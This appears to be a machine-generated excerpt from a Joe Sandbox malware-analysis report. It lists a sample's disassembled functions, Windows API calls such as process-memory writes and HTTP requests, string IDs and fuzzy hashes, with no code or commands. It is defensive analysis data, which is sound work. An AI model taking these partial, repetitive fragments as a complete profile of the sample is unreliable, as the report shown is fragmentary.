                                                                                                                                                  • API ID: _malloc
                                                                                                                                                  • String ID: Default$|k
                                                                                                                                                  • API String ID: 1579825452-2254895183
                                                                                                                                                  • Opcode ID: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                                                                                                  • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                  • Opcode Fuzzy Hash: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                                                                                                  • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                  Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _memcmp
                                                                                                                                                  • String ID: '$[$h
                                                                                                                                                  • API String ID: 2931989736-1224472061
                                                                                                                                                  • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                  • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                                                                  • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                  • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                                                                  Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _strncmp
                                                                                                                                                  • String ID: >$R$U
                                                                                                                                                  • API String ID: 909875538-1924298640
                                                                                                                                                  • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                  • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                                                                  • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                  • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                                                                  Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen
                                                                                                                                                  • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                  • API String ID: 176396367-557222456
                                                                                                                                                  • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                  • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                                                                  • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                  • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                                                                  Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                  • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                  • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                  • String ID: 4RH
                                                                                                                                                  • API String ID: 2981388473-749298218
                                                                                                                                                  • Opcode ID: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                                                                                                  • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                  • Opcode Fuzzy Hash: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                                                                                                  • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                                                                  Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                                                                  • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                                                                  • String ID: LPT$HH
                                                                                                                                                  • API String ID: 3035604524-2728063697
                                                                                                                                                  • Opcode ID: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                  • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                                                                  • Opcode Fuzzy Hash: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                  • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                                                                  Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                  • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                    • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                  • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                  • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                  • String ID: @
                                                                                                                                                  • API String ID: 4055202900-2766056989
                                                                                                                                                  • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                  • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                  • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                  • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                  Function 00449A93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00449B2E
                                                                                                                                                  • MoveWindow.USER32(?,?,?,?,?,00000001,?,?), ref: 00449B9C
                                                                                                                                                  • SendMessageW.USER32(02EA1AF8,00000469,?,00000000), ref: 00449BF7
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$MessageMoveRectSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 4269771112-2594219639
                                                                                                                                                  • Opcode ID: 4d19423c0bfc3f881ab8ca646a671160d9b3563d522f9926aab549df03f0587c
                                                                                                                                                  • Instruction ID: e508488f702fbc50c1559f6c7ec12802fe4172382056b8995399bf84c1675f17
                                                                                                                                                  • Opcode Fuzzy Hash: 4d19423c0bfc3f881ab8ca646a671160d9b3563d522f9926aab549df03f0587c
                                                                                                                                                  • Instruction Fuzzy Hash: 89419A70204641AFE724CF24D881E7BB7A9FB89714F008A1EF19197351E774BD80DBA9
                                                                                                                                                  Function 00440BD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MoveWindow.USER32(?,004A83D8,00000000,?,?,00000000,?,00000000,00000000), ref: 00440DC7
                                                                                                                                                  • SendMessageW.USER32(?,00000142,00000000,0000FFFF), ref: 00440DE6
                                                                                                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00440E0C
                                                                                                                                                  • SendMessageW.USER32(?,00000469,?,00000000), ref: 00440E3E
                                                                                                                                                  • ShowWindow.USER32(?,00000000,?,00000469,?,00000000), ref: 00440E62
                                                                                                                                                  • DefDlgProcW.USER32(?,00000005,?,?), ref: 00440E7E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSendWindow$InvalidateMoveProcRectShow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 4037296999-2594219639
                                                                                                                                                  • Opcode ID: d1c57b00791a8315eaa483b8e66cc43cf618c503a38761f2299fd22608959c2a
                                                                                                                                                  • Instruction ID: bcda879dc66b10d245a90a7ed40df89d10d9938a03d93e03f7abdd0b7ff48564
                                                                                                                                                  • Opcode Fuzzy Hash: d1c57b00791a8315eaa483b8e66cc43cf618c503a38761f2299fd22608959c2a
                                                                                                                                                  • Instruction Fuzzy Hash: D45178B06087028BE324CF68C98076BB7E1FF88B44F14491EFAD597250E738B95ACB55
                                                                                                                                                  Function 00440BD2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MoveWindow.USER32(?,004A83D8,00000000,?,?,00000000,?,00000000,00000000), ref: 00440DC7
                                                                                                                                                  • SendMessageW.USER32(?,00000142,00000000,0000FFFF), ref: 00440DE6
                                                                                                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00440E0C
                                                                                                                                                  • SendMessageW.USER32(?,00000469,?,00000000), ref: 00440E3E
                                                                                                                                                  • ShowWindow.USER32(?,00000000,?,00000469,?,00000000), ref: 00440E62
                                                                                                                                                  • DefDlgProcW.USER32(?,00000005,?,?), ref: 00440E7E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSendWindow$InvalidateMoveProcRectShow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 4037296999-2594219639
                                                                                                                                                  • Opcode ID: fc410d95a4fe0568344445656b193ee776445bfad3aebd2bbff95d421bbcaa9c
                                                                                                                                                  • Instruction ID: 2b46c7824bf4544c0e391e94ea7ff91743a1a3c2accfc933bdfb9e377f3e5a16
                                                                                                                                                  • Opcode Fuzzy Hash: fc410d95a4fe0568344445656b193ee776445bfad3aebd2bbff95d421bbcaa9c
                                                                                                                                                  • Instruction Fuzzy Hash: 6F5178B06087028BE324CF68C98176BB7E1BF88B44F14491EFAD597250E738B959CB56
                                                                                                                                                  Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CrackInternet_memset_wcslen
                                                                                                                                                  • String ID: |
                                                                                                                                                  • API String ID: 915713708-2343686810
                                                                                                                                                  • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                  • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                  • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                  • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                  Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                  • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                    • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3705125965-3916222277
                                                                                                                                                  • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                  • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                  • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                  • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                  Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                                                                  • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Long
                                                                                                                                                  • String ID: SysTreeView32
                                                                                                                                                  • API String ID: 847901565-1698111956
                                                                                                                                                  • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                  • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                                                                  • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                  • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                                                                  Function 00437CA6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                                                                  • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                                                                  • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Library$AddressFreeLoadProc
                                                                                                                                                  • String ID: AU3_GetPluginDetails
                                                                                                                                                  • API String ID: 145871493-4132174516
                                                                                                                                                  • Opcode ID: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                                                                                                  • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                                                                  • Opcode Fuzzy Hash: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                                                                                                  • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                                                                  Function 00449CA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
